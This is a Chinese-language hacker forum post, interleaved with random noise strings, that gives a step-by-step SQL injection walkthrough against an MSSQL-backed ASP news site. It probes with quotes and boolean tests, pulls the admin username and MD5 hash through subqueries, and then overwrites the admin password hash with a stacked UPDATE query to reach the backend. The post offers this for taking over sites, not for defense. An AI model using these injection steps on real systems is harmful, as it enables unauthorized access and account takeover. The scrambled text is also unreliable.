经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。' F. {& d: t6 o- p# E; x
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)
1 U! t8 h- d& s! ], e1 ^测试如下:
2 P) `' N" H \) S6 e4 c Whttp://www.tmdsb.com/news.asp?id=121
0 O* _- R* B2 M4 [# U* B. R在地址后输入单引号,显示6 |$ d; f% ~4 c' ~6 k+ t
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’+ |% `6 [, o# f9 y# o% m+ |
字符串 ’’’ 之前有未闭合的引号
- H/ C0 J+ r5 J! v/news/tmdws.asp,行63
9 [1 ^4 t" o. A" ^' U: O说明没有过滤单引号且数据库是MSSQL.
# u; D# @% t$ M; b" }: ?and 1=1正常。and 1=2出错。肯定存在注入
7 y& M& w( Q7 r接着输入
6 _: T. B0 Y' E( H1 R' t' bhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
2 K# g' ]. ?% m得到帐号为:admin
6 B% H6 \/ Y- X% s, b. k, v' ghttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
* Z2 E* y! Z% P; O2 q# n, {6 n得到密码为:a4716077c2ba075c
! W8 ?4 K' K% l2 s b" }9 e2 E接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433& H5 Q5 \1 T* Q: T7 f! d/ P, ]& J# I
命令如下 :
$ ?& E9 W1 E2 h( |! t7 B1 e0 S# Q0 F;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
- \5 u. O7 o; Z. N1 q* m这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的 |